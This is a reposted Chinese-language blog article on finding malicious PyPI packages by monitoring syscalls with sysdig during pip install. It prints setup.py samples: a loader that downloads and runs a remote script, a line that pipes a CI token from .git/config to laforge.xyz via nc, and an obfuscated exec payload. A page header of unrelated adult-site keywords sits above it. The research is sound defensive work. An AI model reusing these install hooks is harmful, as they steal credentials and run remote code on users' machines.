日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

有人在代码里下毒!慎用 pip install 命令

發(fā)布時(shí)間:2024/9/15 编程问答 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 有人在代码里下毒!慎用 pip install 命令 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

大約一年前,Python軟件基金會(huì)(Python Software Foundation)發(fā)了一個(gè)需求咨詢帖子(RFI,https://discuss.python.org/t/what-methods-should-we-implement-to-detect-malicious-content/2240),主要問(wèn)題是來(lái)討論我們?nèi)绾螜z測(cè)上傳到PyPI的惡意第三方軟件包。無(wú)論是被接管了廢棄的軟件包,對(duì)流行的庫(kù)進(jìn)行Typosquatting攻擊釣魚劫持,還是對(duì)第三方庫(kù)進(jìn)行撞庫(kù)攻擊,很明顯,這都是一個(gè)值得思考的問(wèn)題,幾乎影響到每個(gè)開發(fā)者。使用pip install安裝軟件包時(shí),大多數(shù)人不清楚自己所需的python模塊在哪個(gè)軟件包中,有時(shí)候甚至是模糊搜索安裝,這就給惡意利用的人提供了機(jī)會(huì)。

事實(shí)上,像PyPI這樣的軟件包管理器是幾乎每個(gè)公司都依賴的關(guān)鍵基礎(chǔ)架構(gòu)。針對(duì)這個(gè)問(wèn)題的嚴(yán)重性我們可以在這個(gè)主題上談上幾天幾夜,不過(guò)看了下面的這張圖你就明白了。

我想對(duì)此做進(jìn)一步的探討,因此在本文中,我將逐步介紹如何安裝和分析PyPI中的軟件包并尋找惡意攻擊活動(dòng)。

如何查找惡意包

為了在安裝過(guò)程中運(yùn)行任意命令,作者通常將代碼添加到其程序包中的setup.py文件中。您可以在此github存儲(chǔ)庫(kù)(https://github.com/rsc-dev/pypi_malware/tree/master/malware)中看到一些示例。

總的來(lái)說(shuō),您可以用以下兩種方式來(lái)查找潛在的惡意依賴包:查看代碼中的不良內(nèi)容(靜態(tài)分析),或者可以安裝它們以查看會(huì)發(fā)生什么情況(動(dòng)態(tài)分析)。

雖然靜態(tài)分析非常有趣(我曾在Node.js 的包管理工具npm上手動(dòng)使用grep命令搜尋到了惡意軟件包,``https://duo.com/decipher/hunting-malicious-npm-packages`),但在這篇文章中,我將重點(diǎn)介紹動(dòng)態(tài)分析。畢竟我認(rèn)為它會(huì)有效果,因?yàn)槟阏诓榭磳?shí)際發(fā)生的事情,而不是僅僅尋找未來(lái)可能發(fā)生的事。

那我們到底在尋找什么呢?

如何把握重點(diǎn)

通常,任何重要操作發(fā)生都是由內(nèi)核完成的,普通程序(如pip)通過(guò)內(nèi)核執(zhí)行重要操作是通過(guò)使用syscall來(lái)完成的。使用syscall可以完成打開文件、建立網(wǎng)絡(luò)連接和執(zhí)行命令的所有操作!

您可以從Julia Evans的漫畫中了解syscall的更多內(nèi)容:

這意味著,如果我們可以在安裝Python軟件包期間監(jiān)視系統(tǒng)調(diào)用(syscalls),就可以查看是否發(fā)生了任何可疑事件。

監(jiān)測(cè)系統(tǒng)調(diào)用(syscalls)這個(gè)方法并不是我想到的。自2017年以來(lái),亞當(dāng)·鮑德溫(Adam Baldwin)等人就一直在談?wù)撨@一問(wèn)題。佐治亞理工學(xué)院的研究人員發(fā)表了一篇出色的論文(https://arxiv.org/pdf/2002.01139.pdf),采用了同樣的方法。老實(shí)說(shuō),大多數(shù)博客文章只是試圖重現(xiàn)他們的想法。

現(xiàn)在,我們想監(jiān)測(cè)系統(tǒng)調(diào)用(syscalls),那么到底該怎么做呢?

使用Sysdig監(jiān)測(cè)Syscall

有許多旨在讓您監(jiān)測(cè)系統(tǒng)調(diào)用的工具,對(duì)于本項(xiàng)目,我使用sysdig,因?yàn)樗忍峁┙Y(jié)構(gòu)化輸出,又提供了一些非常好的過(guò)濾功能。

為了使該工作正常進(jìn)行,在啟動(dòng)安裝該軟件包的Docker容器時(shí),我還啟動(dòng)了一個(gè)sysdig進(jìn)程,該進(jìn)程僅監(jiān)測(cè)該容器中的事件。我也過(guò)濾掉了要從pypi.org或files.pythonhosted.com進(jìn)行的網(wǎng)絡(luò)讀取/寫入,因?yàn)槲也幌氡慌c軟件包下載相關(guān)的事件寫滿日志。

通過(guò)捕獲系統(tǒng)調(diào)用的方法,我不得不解決另一個(gè)問(wèn)題:如何獲取所有PyPI軟件包的列表。

獲取Python包

對(duì)我們來(lái)說(shuō)幸運(yùn)的是,PyPI擁有一個(gè)稱為Simple API(https://www.python.org/dev/peps/pep-0503/)的API,可以將其視為“一個(gè)非常大的HTML頁(yè)面,其中包含指向每個(gè)包的鏈接”。它簡(jiǎn)單,干凈而且比我可能會(huì)寫的任何HTML都要好。

我們可以抓取此頁(yè)面并使用pup解析所有鏈接,從而為我們提供約268,000個(gè)軟件包:

>?curl?https://pypi.org/simple/?|?pup'a?text?{}'>?pypi_full.txt>?wc?-l?pypi_full.txt268038?pypi_full.txt

對(duì)于本實(shí)驗(yàn),我只關(guān)心每個(gè)軟件包的最新版本。較舊的版本中可能埋藏著惡意版本的軟件包,但AWS不會(huì)自己買單(笑)。

我最終實(shí)現(xiàn)了一個(gè)看起來(lái)像這樣的管道:

簡(jiǎn)而言之,我們將每個(gè)軟件包名稱發(fā)送到一組EC2實(shí)例(我希望將來(lái)使用AWS Fargate無(wú)服務(wù)器化容器解決方案或其他東西,但我現(xiàn)在也不知道Fargate怎么用,所以……),該程序會(huì)從PyPI中獲取有關(guān)軟件包的一些元數(shù)據(jù),然后在一系列容器pip install安裝軟件包同時(shí)啟動(dòng)sysdig,以監(jiān)測(cè)syscall和網(wǎng)絡(luò)流量。然后,所有數(shù)據(jù)都被運(yùn)送到S3以供未來(lái)使用。

這個(gè)過(guò)程如下所示:

結(jié)果

過(guò)程一旦完成,我將在一個(gè)S3存儲(chǔ)庫(kù)中獲取幾TB的數(shù)據(jù),覆蓋大約245,000個(gè)軟件包。盡管有的軟件包沒(méi)有發(fā)布版本,有的軟件包具有各種bug,但是這似乎也是一個(gè)很好的樣本。

現(xiàn)在開始有趣的部分:分析!(其實(shí)是一系列枯燥的grep操作)

我合并了元數(shù)據(jù)和輸出,提供了一系列如下所示的JSON文件:

{"metadata":?{},"output":?{"dns":?[],?????????//?Any?DNS?requests?made"files":?[],???????//?All?file?access?operations"connections":?[],?//?TCP?connections?established"commands":?[],????//?Any?commands?executed} }

然后,我編寫了一系列腳本來(lái)開始匯總數(shù)據(jù),以試圖區(qū)別是良性程序包和惡意程序包。讓我們深入研究一些結(jié)果。

網(wǎng)絡(luò)請(qǐng)求

在安裝過(guò)程中,軟件包需要建立網(wǎng)絡(luò)連接的原因有很多。他們可能需要下載合法的二進(jìn)制組件或其他資源,它們可能是一種分析形式,或者可能正試圖從系統(tǒng)中竊取數(shù)據(jù)或憑證。

結(jié)果發(fā)現(xiàn),有460個(gè)軟件包將網(wǎng)絡(luò)連接到109個(gè)特定主機(jī)。就像上面論文提到的一樣,其中很多是程序包共享建立網(wǎng)絡(luò)連接依賴關(guān)系的結(jié)果。可以通過(guò)映射依賴關(guān)系將其過(guò)濾掉,但是我在這里還沒(méi)有做過(guò)。

這里(https://gist.github.com/jordan-wright/c8b273372368ee639dec46b08a93bce1)是安裝過(guò)程中看到的DNS請(qǐng)求明細(xì)。

執(zhí)行命令

像網(wǎng)絡(luò)連接一樣,在安裝過(guò)程中,軟件包有合理的理由運(yùn)行系統(tǒng)命令??梢允蔷幾g二進(jìn)制文件,或者設(shè)置正確的運(yùn)行環(huán)境等。

查看我們的樣本,發(fā)現(xiàn)60,725個(gè)軟件包在安裝過(guò)程中正在執(zhí)行命令。就像網(wǎng)絡(luò)連接一樣,其中許多是依賴項(xiàng)(運(yùn)行命令的程序包)的結(jié)果。

一些有趣的第三方包

深入研究結(jié)果后,發(fā)現(xiàn)大多數(shù)網(wǎng)絡(luò)連接和命令似乎都是合乎常理預(yù)期的。但是,我想舉幾個(gè)奇怪的例子作為案例研究,以說(shuō)明這種類型的分析多有用。

i-am-malicious

一個(gè)名為i-am-malicious的軟件包似乎是惡意軟件包的證明。以下是一些有趣的細(xì)節(jié),使我們認(rèn)為該程序包值得研究(如果名稱不夠的話......):

{"dns":?[{"name":?"gist.githubusercontent.com","addresses":?["199.232.64.133"]}]],"files":?[...{"filename":?"/tmp/malicious.py","flag":?"O_RDONLY|O_CLOEXEC"},...{"filename":?"/tmp/malicious-was-here","flag":?"O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"},...],"commands":?["python?/tmp/malicious.py"] }

我們看到與gist.github.com的連接,正在執(zhí)行一個(gè)Python文件,并在此處創(chuàng)建了一個(gè)名為/ tmp / malicious-was-here的文件。當(dāng)然,這就是setup.py中發(fā)生的事情:

from?urllib.request?import?urlopenhandler?=?urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py") with?open("/tmp/malicious.py",?"wb")?as?fp:fp.write(handler.read())import?subprocesssubprocess.call(["python",?"/tmp/malicious.py"])

malicious.py程序只是向/ tmp / malicious-was-here添加了““I was here”類型的消息,表明這確實(shí)是一個(gè)證明。

maliciouspackage

另一個(gè)自稱為"惡意程序包"的maliciouspackage更邪惡。這是相關(guān)的輸出:

{"dns":?[{"name":?"laforge.xyz","addresses":?["34.82.112.63"]}],"files":?[{"filename":?"/app/.git/config","flag":?"O_RDONLY"},],"commands":?["sh?-c?apt?install?-y?socat","sh?-c?grep?ci-token?/app/.git/config?|?nc?laforge.xyz?5566","grep?ci-token?/app/.git/config","nc?laforge.xyz?5566"] }

和之前一樣,我們的輸出使我們對(duì)發(fā)生的事情有了一個(gè)不錯(cuò)的了解。在這種情況下,程序包似乎從.git / config文件中提取令牌并將其上傳到laforge.xyz。瀏覽setup.py,我們發(fā)現(xiàn)確實(shí)是這樣:

... import?os os.system('apt?install?-y?socat') os.system('grep?ci-token?/app/.git/config?|?nc?laforge.xyz?5566')

easyIoCtl

easyIoCtl是一個(gè)有趣的軟件包。它聲稱可以“擺脫無(wú)聊的IO操作”,但我們看到以下命令正在執(zhí)行:

["sh?-c?touch?/tmp/testing123","touch?/tmp/testing123" ]

可疑,但可能不是有意為之。但是這是一個(gè)完美的示例,顯示了監(jiān)測(cè)系統(tǒng)調(diào)用的功能。這是項(xiàng)目的setup.py中的相關(guān)代碼:

class?MyInstall():def?run(self):control_flow_guard_controls?=?'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc?X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'control_flow_guard_mappers?=?[81,?71,?29,?78,?99,?83,?48,?78,?40,?90,?78,?40,?54,?40,?46,?40,?83,?6,?71,?22,?68,?83,?78,?95,?47,?80,?48,?34,?83,?71,?29,?34,?83,?6,?40,?83,?81,?2,?13,?69,?24,?50,?68,?11]control_flow_guard_init?=?""for?controL_flow_code?in?control_flow_guard_mappers:control_flow_guard_init?=?control_flow_guard_init?+?control_flow_guard_controls[controL_flow_code]exec(control_flow_guard_init)

此代碼片段混淆不清,很難說(shuō)出是怎么回事,傳統(tǒng)的靜態(tài)分析可能會(huì)抓住對(duì)exec的調(diào)用,但僅此而已。

要查看其作用,我們可以用打印替換exec,結(jié)果是:

import?os;os.system('touch?/tmp/testing123')

這正是我們記錄的命令,表明即使代碼混淆也不會(huì)影響我們的結(jié)果,因?yàn)槲覀冋趯?duì)系統(tǒng)調(diào)用進(jìn)行監(jiān)視。

當(dāng)我們發(fā)現(xiàn)惡意軟件包時(shí)會(huì)發(fā)生什么?

值得簡(jiǎn)要討論一下,當(dāng)我們發(fā)現(xiàn)惡意程序包時(shí)該怎么辦。首先要做的是提醒PyPI志愿者,以便他們下架這個(gè)包??梢酝ㄟ^(guò)聯(lián)系security@python.org來(lái)完成。

之后,我們可以使用BigQuery上的PyPI公開數(shù)據(jù)集,查看該包的下載次數(shù)。

這是一個(gè)示例查詢,用于查找在過(guò)去30天內(nèi)安裝了maliciouspackage的次數(shù):

#standardSQL SELECT COUNT(*) AS num_downloads FROM `the-psf.pypi.file_downloads` WHERE file.project = 'maliciouspackage'-- Only query the last 30 days of historyAND DATE(timestamp)BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)AND CURRENT_DATE()

運(yùn)行此查詢命令,結(jié)果表明它已被下載400次以上。

未來(lái)展望

第一步只是初步了解了整個(gè)PyPI的概況。查看數(shù)據(jù),我發(fā)現(xiàn)沒(méi)有任何程序包進(jìn)行了嚴(yán)重有害的活動(dòng),而且名稱中的某處也沒(méi)有“惡意”。這很好!(其實(shí)并非如此,如果你在 2017-05-24 到 2017-05-31 這段時(shí)間內(nèi)執(zhí)行過(guò) pip install smb或者 pip download smb, 那么你的個(gè)人信息可能已經(jīng)泄露)但是我總是有可能錯(cuò)過(guò)某些事情,或者將來(lái)會(huì)發(fā)生。如果您有興趣挖掘數(shù)據(jù),可以在這里(https://drive.google.com/file/d/1ukZK5-JEQrmo_t15aq_4z-jlkjNqbec8/view?usp=sharing)找到。

展望未來(lái),我正在設(shè)置一個(gè)Lambda函數(shù),以使用PyPI的RSS feed功能獲取最新的軟件包更新。每個(gè)更新的程序包都將經(jīng)過(guò)相同的處理,如果檢測(cè)到可疑活動(dòng),則會(huì)發(fā)送警報(bào)。

我仍然不喜歡僅通過(guò)pip install命令就可以讓程序在用戶系統(tǒng)上執(zhí)行任意操作。我知道大多數(shù)程序包都是善意的,但它帶來(lái)了風(fēng)險(xiǎn)。希望越來(lái)越多地監(jiān)測(cè)各種第三方程序包管理器,并識(shí)別出惡意活動(dòng)的跡象。

這不是PyPI獨(dú)有的。之后,我希望對(duì)RubyGems,npm和其他程序包管理庫(kù)進(jìn)行相同的分析,就像我之前提到的研究人員一樣。同時(shí),您可以在此處(https://github.com/jordan-wright/ossmalware)找到用于運(yùn)行實(shí)驗(yàn)的所有代碼。

往期推薦: 收藏 | 49 個(gè) Python 學(xué)習(xí)資源我都逛哪些技術(shù)網(wǎng)站?(程序員必備58個(gè)網(wǎng)站匯總)肝!精心整理了 50 個(gè)數(shù)據(jù)源網(wǎng)站!

總結(jié)

以上是生活随笔為你收集整理的有人在代码里下毒!慎用 pip install 命令的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。